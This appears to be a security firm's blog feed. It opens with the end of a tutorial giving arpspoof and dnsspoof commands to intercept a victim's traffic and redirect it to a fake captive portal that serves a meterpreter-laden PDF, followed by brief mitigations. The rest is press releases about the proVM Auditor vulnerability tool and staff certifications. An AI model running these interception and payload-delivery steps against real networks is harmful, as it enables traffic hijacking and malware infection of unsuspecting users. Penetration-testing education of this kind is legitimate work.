<pre class="brush: bash; title: ;">arpspoof –i interface_name –t victim_ip gateway_ip &gt;&gt;/dev/null 2&gt;&amp;1 &amp;</pre>
<p> poisons the targets arp cache and sends all of the targets traffic to you. </p>
<p>Next you need to do the same thing to the gateway so you get the responses</p>
<pre class="brush: bash; title: ;">arpspoof –i interface-name –t gateway _ip victim_IP &gt;&gt;/dev/null 2&gt;&amp;1 &amp;</pre>
<p>Since stderr is being piped to stdout and stdout is sent to /dev/null you’ll need to kill the arpspoof pids when you’re done to stop arp spoofing.</p>
<p>As the icing on the cake we’ll setup DNS spoofing so the URL in the victim’s address bar isn’t a local address.</p>
<p>Setup a text file in hosts format</p>
<pre class="brush: bash; title: ;">192.168.x.x www.fakename.com</pre>
<p>Set the name to be the website name you used in the PHP file (those first variables you set: $server_name and $domain_name)</p>
<p>In another Konsole tab issue the dnsspoof command</p>
<pre class="brush: bash; title: ;"> dnsspoof –i interface_name –f host_file_you_created_above</pre>
<p>You can use whatever kind of sneaky payload you want, it’s just easy to use MSF to bind a meterpreter exe into a pdf (be sure to edit the “&lt;a href” appropriately in your PHP file).  Once that’s in your web root directory just wait.</p>
<p>Once a user who is being targeted by arpspoof tries to browse they will either be redirected to your bogus page, or if it’s an SSL site they’re trying to open they’re request will timeout (and they will hopefully attempt to browse to an HTTP page).  I have yet to see a user who got suspicious and contacted anyone (it admin, or establishment staff), but simply opened the pdf, got the code and went along their merry way.</p>
<p>I’ve spoken to some of the mitigations of this attack above, but here’s a few more: some client security suites can recognize arp\dns spoofing and prevent it, and can also disallow untrusted applications from creating sockets from the client without permission.  Another means of mitigating this risk is user awareness training; explaining that users should be wary when hitting captive portals, (especially on a LAN they’ve used for sometime without seeing one and now they see one all of a sudden).</p>
<p>There you have it.  There are many steps to this, and they all must be performed properly or the whole thing won’t work!  Get out there and make the world a safer place!</p>
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		<title>Recent Changes to proVM Auditor</title>
		<link>http://www.proso.com/2011/03/02/recent-changes-to-provm-auditor/</link>
		<comments>http://www.proso.com/2011/03/02/recent-changes-to-provm-auditor/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 12:12:29 +0000</pubDate>
		<dc:creator>News</dc:creator>
				<category><![CDATA[News & Events]]></category>
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		<description><![CDATA[Prolific Solutions is excited to announce two prominent updates to their flagship software, proVM Auditor. &#8220;We work very hard to ensure that we are keeping up with vulnerability assessment best practices and changes in scanning and assessment technology. The Security Content Automation Protocol (SCAP) is the new standard most vulnerability assessment solutions are striving for, &#8230; <a href="http://www.proso.com/2011/03/02/recent-changes-to-provm-auditor/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Prolific Solutions is excited to announce two prominent updates to their flagship software, <a href="http://www.proso.com/catalog/provm-auditor/">proVM Auditor</a>.  </p>
<p>&#8220;We work very hard to ensure that we are keeping up with vulnerability assessment best practices and changes in scanning and assessment technology.  The <a href="http://scap.nist.gov/">Security Content Automation Protocol (SCAP)</a> is the new standard most vulnerability assessment solutions are striving for, and we&#8217;re happy to say that we now support the <a href="http://scap.nist.gov/specifications/xccdf/index.html#resource-1.1.4">eXtensible Configuration Checklist Description Format (XCCDF)</a> that is a small piece of the SCAP paradigm,&#8221; said Proso CEO Chris Merritt.</p>
<p>Supporting the XCCDF format will be of great value to Proso&#8217;s DoD customers in particular.  <a href="http://www.eeye.com/">eEye Retina</a> is an enterprise-wide licensed tool that has the capability to digest and scan according to benchmarks published by DISA in an XCCDF format.  Retina’s XCCDF scanner may be especially beneficial to those responsible for hardening Microsoft Windows 2008 R2, as DISA Gold Disk does not (and likely will not ever) support Microsoft Windows 2008 R2.  Using the benchmarks provided by DISA on the <a href="http://iase.disa.mil/">IASE web page</a>, Retina users can conduct benchmark scans to assess compliance with DISA STIGs.  DISA is still working on similar benchmarks for other technologies including UNIX-based platforms, which will eventually eliminate the need for SRRs and the Gold Disk altogether.</p>
<p>Prolific Solutions has also moved onto a new report format proliferated by <a href="http://nessus.org/">Tenable Nessus</a>.  With the release of Nessus v4.2, a new *.nessus file was added to the possible output formats to select from using Nessus.  The old version of Nessus xml files (v1) contained minimal vulnerability information and required proVM Auditor users to import all 33K + Nessus plugins so that proVM Auditor might provide a greater level of information about each vulnerability when generating vulnerability matrices.  With the new *.nessus format, importing the plugins is no longer a requirement as each individual *.nessus file now contains all of the information that was previously obtained from the plugin files.  As such, we have removed functionality that supported importing plugins and we will no longer support versions of Nessus earlier than v4.2.</p>
<p><a href="http://www.proso.com/catalog/provm-auditor/">Click here</a> to learn more about proVM Auditor.</p>
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		<title>Proso Receives U.S. Army Certificate of Networthiness for proVM Auditor</title>
		<link>http://www.proso.com/2011/02/24/proso-receives-u-s-army-certificate-of-networthiness-for-provm-auditor/</link>
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		<pubDate>Thu, 24 Feb 2011 15:39:11 +0000</pubDate>
		<dc:creator>News</dc:creator>
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		<description><![CDATA[Prolific Solutions today announced that proVM Auditor, software designed to facilitate the aggregation and consolidation of vulnerability scan data, has been awarded the Certificate of Networthiness (CoN) and a Computer Hardware, Enterprise Software and Solutions (CHESS) waiver from the U.S. Army Network Enterprise Technology Command. This certification demonstrates that proVM Auditor meets strict U.S. Army &#8230; <a href="http://www.proso.com/2011/02/24/proso-receives-u-s-army-certificate-of-networthiness-for-provm-auditor/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Prolific Solutions today announced that <a title="proVM Auditor" href="http://proso.com/catalog/proVM/" target="_blank">proVM Auditor</a>, software designed to facilitate the aggregation and consolidation of vulnerability scan data, has been awarded the Certificate of Networthiness (CoN) and a <a title="CHESS" href="https://chess.army.mil" target="_blank">Computer Hardware, Enterprise Software and Solutions</a> (CHESS) waiver from the U.S. Army Network Enterprise Technology Command.</p>
<p>This certification demonstrates that proVM Auditor meets strict U.S. Army and Department of Defense (DoD) standards for security, compatibility, and long term sustainability. The CoN is required for all enterprise software products in the Army Enterprise Infrastructure Network. The certification also applies to all National Guard, Army Reserve and DoD organizations that use the Army Enterprise Infrastructure Network.</p>
<p>proVM Auditor provides meaningful views of vulnerability data from various vulnerability assessment tool outputs in minutes rather than the manual processes that used to take days and weeks.  proVM Auditor:</p>
<ul>
<li>Expedites compliance reviews</p>
<li>Maps vulnerabilities to DoD 8500.2 IA Controls</li>
<li>Facilitates/standardize C&amp;A processes</li>
<li>Streamlines administration efforts</li>
<li>Standard views of vulnerability data</li>
<li>Reduces manual compliance efforts</li>
<li>Small footprint; simple to use</li>
</ul>
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		<title>The Re-Write of proVM Auditor</title>
		<link>http://www.proso.com/2010/11/25/the-re-write-of-provm-auditor/</link>
		<comments>http://www.proso.com/2010/11/25/the-re-write-of-provm-auditor/#comments</comments>
		<pubDate>Thu, 25 Nov 2010 11:38:49 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
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		<category><![CDATA[proVM Auditor]]></category>

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		<description><![CDATA[proVM Auditor, our flagship software offering, continues to be a success for us and our clients (We have a 100% renewal rate). With proVM Auditor, we are able to give our clients the ability to more easily manage their vulnerability data and actually put it to use. We have seen our clients go from performing &#8230; <a href="http://www.proso.com/2010/11/25/the-re-write-of-provm-auditor/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://prolific-solutions.net/catalog/provm-auditor/">proVM Auditor</a>, our flagship software offering, continues to be a success for us and our clients (We have a 100% renewal rate).  With <a href="http://prolific-solutions.net/catalog/provm-auditor/">proVM Auditor</a>, we are able to give our clients the ability to more easily manage their vulnerability data and actually put it to use.  We have seen our clients go from performing monthly scans to weekly and daily, because with <a href="http://prolific-solutions.net/catalog/provm-auditor/">proVM Auditor</a>, they are no longer inundated with volumes of information in a format that&#8217;s too difficult to actually use.</p>
<p>When we wrote <a href="http://prolific-solutions.net/catalog/provm-auditor/">proVM Auditor</a>, we had auditors in mind.  That is, it was built as a tool that organizations (like ourselves) could use to come on site, conduct scans, and leave the resulting vulnerability data in the most relevant and useful format possible &#8211; especially when using multiple vulnerability assessment tools.</p>
<p>While this is still a viable paradigm, we have had many requests from our clients and potential clients to build an enterprise version of this solution.  Something that will permanently reside onsite with organizations that conduct <a href="http://prolific-solutions.net/vulnerability-assessment/">vulnerability assessments</a> to help them better manage their results, trend their data, and help facilitate the resolution of the findings far more quickly.  Our clients asked for it, so we&#8217;re building it.</p>
<p>The new version of proVM Auditor will soon replace the old, as we expect to have a <a href="http://prolific-solutions.net/beta-testing/">BETA </a>version of the new software out in the first quarter of 2011.  With this rewrite, we are working to make our software faster, more efficient, and more capable of providing information beyond what the current proVM Auditor currently offers.  We are already seeing vast improvements in speed handling large volumes of data in our early testing.  And what&#8217;s more, all of the vulnerability data processed by the new proVM Auditor will be persistent (if desired) to facilitate trending of vulnerability data within an enterprise.  This will greatly help those organizations that must comply with any of the various compliance verticals.</p>
<p>We are always looking for BETA testers and will be soliciting testers in the very near future.  If you are interested in BETA testing, there is an application process that we will make available via our website in the very near future.  Please check the R&amp;D area of our website, or browse <a href="http://prolific-solutions.net/beta-testing/">here</a>.</p>
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		<title>ProSo CEO&#8217;s Article Published as Featured Article in Quarterly IATAC Newsletter</title>
		<link>http://www.proso.com/2010/11/10/proso-ceos-article-published-as-featured-article-in-quarterly-iatac-newsletter/</link>
		<comments>http://www.proso.com/2010/11/10/proso-ceos-article-published-as-featured-article-in-quarterly-iatac-newsletter/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 19:58:52 +0000</pubDate>
		<dc:creator>News</dc:creator>
				<category><![CDATA[Compliance]]></category>
		<category><![CDATA[IATAC SME Program]]></category>
		<category><![CDATA[IT Infrastructure Security]]></category>
		<category><![CDATA[News & Events]]></category>
		<category><![CDATA[Press Releases]]></category>
		<category><![CDATA[Security Testing]]></category>
		<category><![CDATA[Consensus Audit Guidelines]]></category>
		<category><![CDATA[FISMA]]></category>
		<category><![CDATA[IATAC]]></category>
		<category><![CDATA[Metrics]]></category>

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		<description><![CDATA[Chris Merritt, ProSo CEO, had his article published as the featured article in the fourth quarter IATAC Newsletter.  The article, &#8220;Looking for a New FISMA,&#8221; outlines some of the problems with compliance paradigms &#8211; especially as implemented in the federal space. The article is available @ http://iac.dtic.mil/iatac/download/Vol13_No4.pdf. About the IATAC Newsletter This free quarterly publication &#8230; <a href="http://www.proso.com/2010/11/10/proso-ceos-article-published-as-featured-article-in-quarterly-iatac-newsletter/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Chris Merritt, ProSo CEO, had his article published as the featured article in the fourth quarter IATAC Newsletter.  The article, &#8220;Looking for a New FISMA,&#8221; outlines some of the problems with compliance paradigms &#8211; especially as implemented in the federal space.</p>
<p>The article is available @ <a href="http://iac.dtic.mil/iatac/download/Vol13_No4.pdf" target="_blank">http://iac.dtic.mil/iatac/download/Vol13_No4.pdf</a>.</p>
<h5>About the IATAC Newsletter</h5>
<p>This free quarterly publication features timely articles from the IA  community. These articles are solicited from such organizations as  OSD/Joint Staff, the Combatant Commands, Services, Systems Commands,  Government R&amp;D Labs and Academia. Each issue also features regular  columns from the DoD CERT and the JTF-GNO.</p>
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		<title>ProSo CTO Achieves OSCP Certification</title>
		<link>http://www.proso.com/2010/11/09/proso-cto-achieves-oscp-certification/</link>
		<comments>http://www.proso.com/2010/11/09/proso-cto-achieves-oscp-certification/#comments</comments>
		<pubDate>Tue, 09 Nov 2010 20:07:43 +0000</pubDate>
		<dc:creator>News</dc:creator>
				<category><![CDATA[News & Events]]></category>
		<category><![CDATA[Press Releases]]></category>
		<category><![CDATA[certification]]></category>
		<category><![CDATA[OSCP]]></category>
		<category><![CDATA[penetration testing]]></category>

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		<description><![CDATA[Prolific Solutions CTO, Nick Popovich, learned yesterday that he passed his OSCP certification.  The OSCP certification is not for the faint-of-heart; it&#8217;s not a 4-hour multiple choice exam.  The exam itself consists of a 24-hour window to compromise 5 machines.  It&#8217;s a certification that really demonstrates the technical prowess and skill set of Nick in &#8230; <a href="http://www.proso.com/2010/11/09/proso-cto-achieves-oscp-certification/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Prolific Solutions CTO, Nick Popovich, learned yesterday that he passed his <a href="http://www.offensive-security.com/information-security-certifications/" target="_blank">OSCP</a> certification.  The OSCP certification is not for the faint-of-heart; it&#8217;s not a 4-hour multiple choice exam.  The exam itself consists of a 24-hour window to compromise 5 machines.  It&#8217;s a certification that really demonstrates the technical prowess and skill set of Nick in the field of penetration testing.</p>
<p>Congratulations Nick!</p>
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